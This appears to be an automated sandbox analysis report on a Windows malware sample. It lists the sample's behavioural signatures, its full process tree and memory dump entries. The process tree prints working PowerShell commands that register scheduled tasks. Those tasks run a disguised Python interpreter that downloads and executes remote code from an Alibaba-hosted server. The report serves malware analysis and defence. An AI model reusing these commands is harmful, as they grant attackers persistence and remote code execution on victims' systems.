Analysis
- max time kernel
108s - max time network
138s - platform
windows10_x64 - resource
win10v20210410 - submitted
12/07/2021, 07:13
General
- Target 30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe
- Size 4.7MB
- Sample210712-c1pcdcemms
- SHA256 30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446
Score
8/10
Malware Config
Signatures
- Downloads MZ/PE file
- Executes dropped EXE 6 IoCs
- Loads dropped DLL 26 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 6 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 26 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 45 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe"C:\Users\Admin\AppData\Local\Temp\30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\ping.exeping baidu.com2⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\cmd.execmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_SETTINGS"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN SYSTEM_SETTINGS3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "C:\Users\Public\vc.exe /install /quiet /norestart"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\vc.exeC:\Users\Public\vc.exe /install /quiet /norestart3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\{4261D57E-5B20-4F7B-B366-C59532751587}\.cr\vc.exe"C:\Windows\Temp\{4261D57E-5B20-4F7B-B366-C59532751587}\.cr\vc.exe" -burn.clean.room="C:\Users\Public\vc.exe" -burn.filehandle.attached=524 -burn.filehandle.self=544 /install /quiet /norestart4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\{DC448F3A-031A-48BC-9E90-E1DB80111017}\.be\VC_redist.x86.exe"C:\Windows\Temp\{DC448F3A-031A-48BC-9E90-E1DB80111017}\.be\VC_redist.x86.exe" -q -burn.elevated BurnPipe.{706273C3-7452-492C-AF17-D10B05FA7CD0} {775A6FE3-69BC-40B6-93A1-FFD01B08967C} 16765⤵
- Executes dropped EXE
- Adds Run key to start application
- Modifies registry class
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\flash.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\flash.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN SYSTEM_TEST3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /DELETE /F /TN SYSTEM_TEST3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_CDAEMON"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN SYSTEM_CDAEMON3⤵
-
-
-
C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exeC:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:21⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\flash.exeC:\Users\Public\flash.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3148 -s 13602⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exeC:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3148-216-0x0000000000C10000-0x0000000000C13000-memory.dmp
memory/3760-194-0x00000000010B0000-0x00000000010B1000-memory.dmp
memory/3760-195-0x00000000010B2000-0x00000000010B3000-memory.dmp
memory/3760-202-0x00000000010B3000-0x00000000010B4000-memory.dmp
memory/4088-123-0x0000000007320000-0x0000000007321000-memory.dmp
memory/4088-129-0x0000000008490000-0x0000000008491000-memory.dmp
memory/4088-127-0x0000000007C30000-0x0000000007C31000-memory.dmp
memory/4088-135-0x00000000091D0000-0x00000000091D1000-memory.dmp
memory/4088-166-0x0000000006E33000-0x0000000006E34000-memory.dmp
memory/4088-134-0x0000000009820000-0x0000000009821000-memory.dmp
memory/4088-121-0x0000000006E30000-0x0000000006E31000-memory.dmp
memory/4088-120-0x0000000007470000-0x0000000007471000-memory.dmp
memory/4088-128-0x0000000008250000-0x0000000008251000-memory.dmp
memory/4088-126-0x0000000007EC0000-0x0000000007EC1000-memory.dmp
memory/4088-119-0x0000000006D00000-0x0000000006D01000-memory.dmp
memory/4088-122-0x0000000006E32000-0x0000000006E33000-memory.dmp
memory/4088-124-0x00000000073C0000-0x00000000073C1000-memory.dmp
memory/4088-125-0x0000000007B90000-0x0000000007B91000-memory.dmp
memory/5020-222-0x0000000008510000-0x0000000008511000-memory.dmp
memory/5020-219-0x0000000007172000-0x0000000007173000-memory.dmp
memory/5020-218-0x0000000007170000-0x0000000007171000-memory.dmp
memory/5020-217-0x0000000008100000-0x0000000008101000-memory.dmp
memory/5020-245-0x0000000007173000-0x0000000007174000-memory.dmp